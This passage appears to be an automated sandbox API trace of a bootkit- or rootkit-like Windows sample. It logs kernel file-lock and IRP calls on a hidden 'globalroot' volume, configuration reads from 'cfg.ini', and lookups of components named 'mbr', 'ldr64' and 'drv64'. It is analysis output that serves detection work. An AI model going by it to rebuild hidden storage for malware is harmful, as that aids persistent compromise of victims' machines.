out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.393] KeEnterCriticalRegion () [0128.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.393] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] KeLeaveCriticalRegion () [0128.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.393] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.393] KeEnterCriticalRegion () [0128.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] KeLeaveCriticalRegion () [0128.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.393] ReleaseMutex (hMutex=0xf0) returned 1 [0128.393] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.393] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.393] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.393] KeEnterCriticalRegion () [0128.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.394] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.394] IdePortDispatch () returned 0x103 [0128.394] KeWaitForMutexObject () returned 0x0 [0128.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.394] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.394] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.394] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.394] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.394] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe5b0 [0128.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.394] KeLeaveCriticalRegion () [0128.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.394] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.394] KeEnterCriticalRegion () [0128.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.394] KeLeaveCriticalRegion () [0128.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.394] KeEnterCriticalRegion () [0128.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.394] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.394] IdePortDispatch () returned 0x103 [0128.394] KeWaitForMutexObject () returned 0x0 [0128.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.394] KeLeaveCriticalRegion () [0128.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.395] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.395] KeEnterCriticalRegion () [0128.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.395] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0128.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.395] IdePortDispatch () returned 0x103 [0128.395] KeWaitForMutexObject () returned 0x0 [0128.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.395] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.395] IdePortDispatch () returned 0x103 [0128.395] KeWaitForMutexObject () returned 0x0 [0128.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.395] KeLeaveCriticalRegion () [0128.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.396] KeEnterCriticalRegion () [0128.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] KeLeaveCriticalRegion () [0128.396] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.396] KeEnterCriticalRegion () [0128.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.396] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] KeLeaveCriticalRegion () [0128.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.396] KeEnterCriticalRegion () [0128.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] ExFreePoolWithTag (P=0xfffffa8003bfe5b0, Tag=0x0) [0128.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.396] KeLeaveCriticalRegion () [0128.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.396] ReleaseMutex (hMutex=0xf0) returned 1 [0128.396] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.396] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.396] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.396] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.397] KeEnterCriticalRegion () [0128.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.397] IdePortDispatch () returned 0x103 [0128.397] KeWaitForMutexObject () returned 0x0 [0128.397] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.397] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.397] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.397] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.397] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.397] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.397] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.397] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.397] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.397] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.397] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.397] KeLeaveCriticalRegion () [0128.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.397] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.397] KeEnterCriticalRegion () [0128.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.397] IdePortDispatch () returned 0x103 [0128.397] KeWaitForMutexObject () returned 0x0 [0128.398] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.398] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.398] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.398] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.398] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.398] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.398] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.398] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.398] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.398] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.398] KeLeaveCriticalRegion () [0128.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.398] ReleaseMutex (hMutex=0x100) returned 1 [0128.398] Sleep (dwMilliseconds=0x2bf20) [0128.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fbaed70, dwHighDateTime=0x1d24fa4)) [0128.405] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.405] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.405] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.405] KeEnterCriticalRegion () [0128.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.405] IdePortDispatch () returned 0x103 [0128.405] KeWaitForMutexObject () returned 0x0 [0128.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bffc80 [0128.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.405] KeLeaveCriticalRegion () [0128.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.405] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.405] KeEnterCriticalRegion () [0128.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.405] KeLeaveCriticalRegion () [0128.405] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.405] KeEnterCriticalRegion () [0128.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.405] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.405] IdePortDispatch () returned 0x103 [0128.405] KeWaitForMutexObject () returned 0x0 [0128.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.406] KeLeaveCriticalRegion () [0128.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.406] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.406] KeEnterCriticalRegion () [0128.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0128.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.406] IdePortDispatch () returned 0x103 [0128.406] KeWaitForMutexObject () returned 0x0 [0128.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.406] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.406] IdePortDispatch () returned 0x103 [0128.406] KeWaitForMutexObject () returned 0x0 [0128.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.406] KeLeaveCriticalRegion () [0128.406] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.407] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.407] KeEnterCriticalRegion () [0128.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] KeLeaveCriticalRegion () [0128.407] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.407] KeEnterCriticalRegion () [0128.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] KeLeaveCriticalRegion () [0128.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.407] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.407] KeEnterCriticalRegion () [0128.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] ExFreePoolWithTag (P=0xfffffa8003bffc80, Tag=0x0) [0128.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.407] KeLeaveCriticalRegion () [0128.407] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.407] ReleaseMutex (hMutex=0xf0) returned 1 [0128.407] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.407] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.408] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.408] KeEnterCriticalRegion () [0128.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.408] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.408] IdePortDispatch () returned 0x103 [0128.408] KeWaitForMutexObject () returned 0x0 [0128.408] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.408] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.408] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.408] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.408] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.408] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff8c0 [0128.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.408] KeLeaveCriticalRegion () [0128.408] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.408] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.408] KeEnterCriticalRegion () [0128.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.408] KeLeaveCriticalRegion () [0128.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.408] KeEnterCriticalRegion () [0128.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.408] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.408] IdePortDispatch () returned 0x103 [0128.408] 